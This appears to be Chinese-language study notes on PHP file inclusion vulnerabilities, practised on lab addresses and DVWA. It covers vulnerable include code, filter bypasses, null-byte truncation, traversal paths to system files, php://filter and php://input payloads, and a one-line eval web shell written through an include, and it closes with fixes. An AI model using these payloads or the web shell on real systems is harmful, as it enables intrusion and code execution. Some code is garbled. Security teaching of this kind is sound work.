文件包含
程序开发⼈员通常会把可重复使⽤函数或语句写到单个⽂件中,在使⽤某个功能的时候,直接调⽤此⽂件,⽆需再次编写,这种调⽤⽂件的过程通常称为包含。
程序开发⼈员都希望代码更加灵活,所以会把被包含的⽂件的路径设置为变量,来进⾏动态调⽤,但正是由于这种灵活性,如果被包含⽂件的路径客户端可控,造成⽂件包含漏洞。
⼏乎所有的脚本都会提供⽂件包含的功能,⽂件包含漏洞在PHP 的Web 应⽤中居多,在
JSP/ASP/ASP.NET 程序中⽐较少。
PHP 中的⽂件包含语句
PHP 提供了四个⽂件包含的语句,四个语句之间略有不同:
相关配置:
⽂件包含是PHP 的基本功能之⼀,有本地⽂件包含与远程⽂件包含之分。
简单来说,本地⽂件包含就是可以读取和打开本地⽂件,远程⽂件包含就是可以远程(⽅式)加载⽂件。
可以通过 php.ini 中的选项进⾏配置。
allow_url_fopen = On/Off # http://ftp:// allow_url_include = On/Off # requireincludehttp://ftp://
包含示例
// fileInclusion.phpif(!empty($_GET['path'])){ include $_GET['path'];}else{ echo "?path=./info.php";}
本地⽂件包含
http://192.168.152.160/fileInclusion/fileInclusion.php?path=./name.php
远程⽂件包含
http://localhost/fileInclusion/fileInclusion.php?path=http://192.168.150.160/phpinfo.php
漏洞原理及特点
漏洞原理
PHP ⽂件包含是程序设计的基础功能之⼀,能够减少代码量,提⾼开发效率。但是使⽤⽂件包含功能时,有类似于以上测试代码的设计,实现了动态包含,就有产⽣⽂件包含漏洞的⻛险。如果实现动态包含的参数,Web 应⽤没有进⾏严格的校验,浏览器客户端⽤户可以影响或控制⽂件包含的路径,就会产⽣任意⽂件包含漏洞。
特点
⽆视⽂件扩展名读取⽂件
# 直接读取图⽚的源代码http://192.162.160/fileInclusion/fileInclusion.php?path=../DVWAdvwaimageslogin_logo.png
⽆条件解析PHP 代码
# 当读取到被包含⽂件的源码,如果遇到符合PHP 代码规范的内容,就会⽆条件执⾏# 同时为图⽚⽊⻢提供了出路http://192.168.152.160/fileInclusion/fileInclusion.php?path=1_2.jpg
⽂件包含漏洞攻防
毫⽆防护
// The page we wish to display$file = $_GET[ 'page' ];
关键词过滤
// The page we wish to display$file = $_GET[ 'page' ];// Input validation$file = str_replace( array( "http://", "https://" ), "", $file );$file = str_replace( array( "../", ".."" ), "", $file );
限定⽂件路径起始字符
<?php // The page we wish to display$file = $_GET[ 'page' ];// Input validationif( !fnmatch( "file*", $file ) && $file != "include.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit;}?>
限定被包含⽂件后缀名
// 00.phpif(!empty($_GET['path'])){ include $_GET['path'].".html";//welcome.html}else{ echo "?path=welcome"; }
⽂件包含的时候,要通过路径寻找被包含的⽂件,这个路径对于PHP 来说就是⼀个普通的字符串,同样会受到NULL 字符的影响。
00 截断
# php 5.2.17# magic_quotes_gpc=Offhttp://192.168.16.109/fileInclusion/00.php?path=welcome//welcome.htmlhttp://192.168.16.109/fileInclusion/00.php?path=name.php%00//name.php[0x00].html
%00:截断
完全防御
<?php // The page we wish to display$file = $_GET[ 'page' ];// Only allow include.php or file{1..3}.phpif( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit;}?>
⽂件包含漏洞的利⽤
读取敏感⽂件
利⽤⽂件包含漏洞,读取敏感⽂件。
前提条件
⽬标⽂件存在(已知⽬标⽂件路径)具有⽂件可读权限
具体⽅法
?path=c:/windows/system32/drivers/etc/hosts?path=../../../../../windows/system32/drivers/etc/hosts
直接包含图⽚⽊⻢
http://192.168.16.109/fileInclusion/fileInclusion.php?path=./1_2.jpg
包含图⽚木马和写Shell
条件
确定⽂件包含漏洞存在菜⼑不能直接连接
写Shell
fputs(fopen("shell.php",'w'),'=@eval($_REQUEST[777])?>');
上传成功,当前目录下生成shell.php文件(一句话木马)!
利⽤
http://192.168.16.109/fileInclusion/shell.php
PHP 封装协议
file:// 访问本地⽂件系统http:// 访问 HTTP(s) ⽹址ftp:// 访问 FTP(s) URLsphp:// 访问各个输⼊/输出流(I/O streams)zlib:// 压缩流data:// 数据(RFC 2397)glob:// 查找匹配的⽂件路径模式phar:// PHP 归档ssh2:// Secure Shell 2rar:// RARogg:// ⾳频流expect:// 处理交互式的流
https://www.php.net/manual/zh/wrappers.php
读取本地⽂件
?path=file://c:/windows/system32/drivers/etc/hosts
读取PHP文件源码(不base64编码,会运行php文件)
利⽤ php://fileter/read 读取
?path=php://filter/read/resource=name.php?path=php://filter/read=convert.base64-encode/resource=name.php
name.php读取结果:
PD9waHANCmVjaG8gIjwvYnI+TXkgTmFtZSBpcyBBSkVTVCE8YnI+IjsNCnBocGluZm8oKTsNCj8+
技巧:
base64解码:
执⾏PHP 命令
利⽤ php://input 执⾏PHP 命令
POST /php/fileInclusion/fileInclude.php?path=php://input~~~~~~~~~~~~=phpinfo();?>
漏洞修复⽅案
1. 尽量少的使⽤动态包含2. 严格过滤被包含⽂件的路径3. 将参数allow_url_include 设置为Off 。4. 使⽤参数open_basedir 限定⽂件访问范围。
⽂件包含实战
MetinfoV5.0.4 ⽂件包含漏洞
代码审计:
查看源代码:
!!!gpc!!!
====== end ======